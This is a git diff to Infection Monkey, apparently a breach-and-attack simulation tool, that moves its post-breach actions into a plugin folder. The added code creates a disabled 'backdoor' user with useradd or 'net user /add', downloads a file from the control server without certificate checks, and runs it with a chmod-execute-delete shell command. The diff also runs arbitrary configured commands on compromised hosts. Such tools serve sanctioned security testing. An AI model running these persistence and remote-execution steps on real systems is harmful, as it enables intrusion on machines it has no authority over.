diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 503284ca2..97b66690e 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,7 +20,6 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') - post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -37,9 +36,6 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'post_breach_actions': - class_objects = [getattr(post_breach_import, val) for val in value] - setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index df6b21228..3fae277e8 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -20,6 +20,8 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 +PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" + # random number greater than 5, # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. TIMEOUT_IN_SECONDS = 15 @@ -307,3 +309,13 @@ class ControlClient(object): target_addr, target_port = None, None return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + + @staticmethod + def get_pba_file(filename): + try: + return requests.get(PBA_FILE_DOWNLOAD % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + except requests.exceptions.RequestException: + return False diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 836b4997a..912386d4c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -121,10 +121,7 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) - for action_class in WormConfiguration.post_breach_actions: - action = action_class() - action.act() - + # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index a7f0f0396..d29adddb1 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -15,7 +15,7 @@ def main(): a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), - hookspath=None, + hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, datas=None, diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py index 2bd5547b4..3a692dc66 100644 --- a/monkey/infection_monkey/post_breach/__init__.py +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -1,4 +1 @@ __author__ = 'danielg' - - -from add_user import BackdoorUser diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py new file mode 100644 index 000000000..17007f1e6 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/__init__.py @@ -0,0 +1,11 @@ +from os.path import dirname, basename, isfile, join +import glob + + +def get_pba_files(): + """ + Gets all files under current directory(/actions) + :return: list of all files without .py ending + """ + files = glob.glob(join(dirname(__file__), "*.py")) + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py new file mode 100644 index 000000000..650f37b2f --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -0,0 +1,19 @@ +import datetime +from infection_monkey.post_breach.pba import PBA +from infection_monkey.config import WormConfiguration + + +__author__ = 'danielg' + +LINUX_COMMANDS = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.user_to_add] + +WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, + '/add', '/ACTIVE:NO'] + + +class BackdoorUser(PBA): + def __init__(self): + super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py new file mode 100644 index 000000000..61ec6f5d7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -0,0 +1,91 @@ +import os +import logging + +from infection_monkey.utils import is_windows_os +from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +from infection_monkey.config import WormConfiguration +from infection_monkey.utils import get_monkey_dir_path + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +# Default commands for executing PBA file and then removing it +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" + +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' + + +class UsersPBA(PBA): + """ + Defines user's configured post breach action. + """ + def __init__(self): + super(UsersPBA, self).__init__("File execution") + self.filename = '' + if not is_windows_os(): + # Add linux commands to PBA's + if WormConfiguration.PBA_linux_filename: + if WormConfiguration.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + self.filename = WormConfiguration.PBA_linux_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) + self.command = DEFAULT_LINUX_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_linux_filename + elif WormConfiguration.custom_PBA_linux_cmd: + self.command = WormConfiguration.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if WormConfiguration.PBA_windows_filename: + if WormConfiguration.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + self.filename = WormConfiguration.PBA_windows_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) + self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_windows_filename + elif WormConfiguration.custom_PBA_windows_cmd: + self.command = WormConfiguration.custom_PBA_windows_cmd + + def _execute_default(self): + if self.filename: + UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + return super(UsersPBA, self)._execute_default() + + @staticmethod + def should_run(class_name): + if not is_windows_os(): + if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: + return True + else: + if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: + return True + return False + + @staticmethod + def download_pba_file(dst_dir, filename): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :return: True if successful, false otherwise + """ + + pba_file_contents = ControlClient.get_pba_file(filename) + + if not pba_file_contents or not pba_file_contents.content: + LOG.error("Island didn't respond with post breach file.") + return False + try: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + written_PBA_file.write(pba_file_contents.content) + return True + except IOError as e: + LOG.error("Can not upload post breach file to target machine: %s" % e) + return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py deleted file mode 100644 index 94aa210e4..000000000 --- a/monkey/infection_monkey/post_breach/add_user.py +++ /dev/null @@ -1,52 +0,0 @@ -import datetime -import logging -import subprocess -import sys -from infection_monkey.config import WormConfiguration - -LOG = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - WindowsError = None - -__author__ = 'danielg' - - -class BackdoorUser(object): - """ - This module adds a disabled user to the system. - This tests part of the ATT&CK matrix - """ - - def act(self): - LOG.info("Adding a user") - try: - if sys.platform.startswith("win"): - retval = self.add_user_windows() - else: - retval = self.add_user_linux() - if retval != 0: - LOG.warn("Failed to add a user") - else: - LOG.info("Done adding user") - except OSError: - LOG.exception("Exception while adding a user") - - @staticmethod - def add_user_linux(): - cmd_line = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - retval = subprocess.call(cmd_line) - return retval - - @staticmethod - def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] - retval = subprocess.call(cmd_line) - return retval diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py deleted file mode 100644 index 5f52a29a6..000000000 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ /dev/null @@ -1,68 +0,0 @@ -from infection_monkey.post_breach.pba import PBA -from infection_monkey.control import ControlClient -from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path -import requests -import os -import logging - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - -# Default commands for executing PBA file and then removing it -DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" -DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" - - -class FileExecution(PBA): - """ - Defines user's file execution post breach action. - """ - def __init__(self, linux_command="", windows_command=""): - self.linux_filename = WormConfiguration.PBA_linux_filename - self.windows_filename = WormConfiguration.PBA_windows_filename - super(FileExecution, self).__init__("File execution", linux_command, windows_command) - - def _execute_linux(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) - return super(FileExecution, self)._execute_linux() - - def _execute_win(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) - return super(FileExecution, self)._execute_win() - - def add_default_command(self, is_linux): - """ - Replaces current (likely empty) command with default file execution command (that changes permissions, executes - and finally deletes post breach file). - Default commands are defined as globals in this module. - :param is_linux: Boolean that indicates for which OS the command is being set. - """ - if is_linux: - file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) - self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) - else: - file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) - self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) - - @staticmethod - def download_PBA_file(dst_dir, filename): - """ - Handles post breach action file download - :param dst_dir: Destination directory - :param filename: Filename - :return: True if successful, false otherwise - """ - - PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - try: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - written_PBA_file.write(PBA_file_contents.content) - return True - except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) - return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 09fe613b3..8be04a468 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,7 +1,9 @@ import logging -from infection_monkey.control import ControlClient import subprocess -import socket +from infection_monkey.control import ControlClient +from infection_monkey.utils import is_windows_os +from infection_monkey.config import WormConfiguration + LOG = logging.getLogger(__name__) @@ -12,57 +14,57 @@ class PBA(object): """ Post breach action object. Can be extended to support more than command execution on target machine. """ - def __init__(self, name="unknown", linux_command="", windows_command=""): + def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. - :param linux_command: Command that will be executed on linux machine - :param windows_command: Command that will be executed on windows machine + :param command: Command that will be executed on breached machine """ - self.linux_command = linux_command - self.windows_command = windows_command + self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - def run(self, is_linux): + def get_pba(self): """ - Runs post breach action command - :param is_linux: boolean that indicates on which os monkey is running + This method returns a PBA object based on a worm's configuration. + Return None or False if you don't want the pba to be executed. + :return: A pba object. """ - if is_linux: - command = self.linux_command - exec_funct = self._execute_linux - else: - command = self.windows_command - exec_funct = self._execute_win - if command: - hostname = socket.gethostname() - ControlClient.send_telemetry('post_breach', {'command': command, - 'result': exec_funct(), - 'name': self.name, - 'hostname': hostname, - 'ip': socket.gethostbyname(hostname) - }) - - def _execute_linux(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.linux_command) - - def _execute_win(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.windows_command) + return self @staticmethod - def _execute_default(command): + def should_run(class_name): + """ + Decides if post breach action is enabled in config + :return: True if it needs to be ran, false otherwise + """ + return class_name in WormConfiguration.post_breach_actions + + def run(self): + """ + Runs post breach action command + """ + exec_funct = self._execute_default + result = exec_funct() + ControlClient.send_telemetry('post_breach', {'command': self.command, + 'result': result, + 'name': self.name}) + + def _execute_default(self): """ Default post breach command execution routine - :param command: What command to execute :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True + return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False + + @staticmethod + def choose_command(linux_cmd, windows_cmd): + """ + Helper method that chooses between linux and windows commands. + :param linux_cmd: + :param windows_cmd: + :return: Command for current os + """ + return windows_cmd if is_windows_os() else linux_cmd diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index ff24ebbbb..8522f412f 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,16 +1,15 @@ import logging -import infection_monkey.config -from file_execution import FileExecution -from pba import PBA +import inspect +import importlib +from infection_monkey.post_breach.pba import PBA +from infection_monkey.post_breach.actions import get_pba_files from infection_monkey.utils import is_windows_os -from infection_monkey.utils import get_monkey_dir_path LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DIR_CHANGE_WINDOWS = 'cd %s & ' -DIR_CHANGE_LINUX = 'cd %s ; ' +PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." class PostBreach(object): @@ -19,65 +18,34 @@ class PostBreach(object): """ def __init__(self): self.os_is_linux = not is_windows_os() - self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + self.pba_list = self.config_to_pba_list() def execute(self): """ Executes all post breach actions. """ for pba in self.pba_list: - pba.run(self.os_is_linux) + pba.run() LOG.info("Post breach actions executed") @staticmethod - def config_to_pba_list(config): + def config_to_pba_list(): """ - Returns a list of PBA objects generated from config. - :param config: Monkey configuration + Passes config to each post breach action class and aggregates results into a list. :return: A list of PBA objects. """ pba_list = [] - pba_list.extend(PostBreach.get_custom_PBA(config)) - + pba_files = get_pba_files() + # Go through all of files in ./actions + for pba_file in pba_files: + # Import module from that file + module = importlib.import_module(PATH_TO_ACTIONS + pba_file) + # Get all classes in a module + pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] + # Get post breach action object from class + for pba_class in pba_classes: + if pba_class.should_run(pba_class.__name__): + pba = pba_class() + pba_list.append(pba) return pba_list - - @staticmethod - def get_custom_PBA(config): - """ - Creates post breach actions depending on users input into 'custom post breach' config section - :param config: monkey's configuration - :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) - """ - custom_list = [] - file_pba = FileExecution() - command_pba = PBA(name="Custom") - - if not is_windows_os(): - # Add linux commands to PBA's - if config.PBA_linux_filename: - if config.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd - else: - file_pba.add_default_command(is_linux=True) - elif config.custom_PBA_linux_cmd: - command_pba.linux_command = config.custom_PBA_linux_cmd - else: - # Add windows commands to PBA's - if config.PBA_windows_filename: - if config.custom_PBA_windows_cmd: - # Add change dir command, because user will try to access his file - file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ - config.custom_PBA_windows_cmd - else: - file_pba.add_default_command(is_linux=False) - elif config.custom_PBA_windows_cmd: - command_pba.windows_command = config.custom_PBA_windows_cmd - - # Add PBA's to list - if file_pba.linux_command or file_pba.windows_command: - custom_list.append(file_pba) - if command_pba.windows_command or command_pba.linux_command: - custom_list.append(command_pba) - - return custom_list diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py new file mode 100644 index 000000000..51a0fca4a --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py @@ -0,0 +1,6 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +# Import all actions as modules +hiddenimports = collect_submodules('infection_monkey.post_breach.actions') +# Add action files that we enumerate +datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True)) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index de29da4e6..75d2b1c93 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -21,7 +21,7 @@ class ConfigurePageComponent extends AuthComponent { this.initialConfig = {}; this.initialAttackConfig = {}; this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - this.uiSchemas = ConfigurePageComponent.getUiSchemas(); + this.uiSchemas = this.getUiSchemas(); // set schema from server this.state = { schema: {}, @@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent { }; } - static getUiSchemas(){ + getUiSchemas(){ return ({ basic: {"ui:order": ["general", "credentials"]}, basic_network: {}, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 763b35de8..aacdc8845 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -2,7 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - return {val.map(x => {x})}; + return {val.map(x => {x})}; }; let renderIpAddresses = function (val) { @@ -36,7 +36,7 @@ let renderDetails = function (data) { columns={subColumns} defaultPageSize={defaultPageSize} showPagination={showPagination} - style={{"background-color": "#ededed"}} + style={{"backgroundColor": "#ededed"}} /> };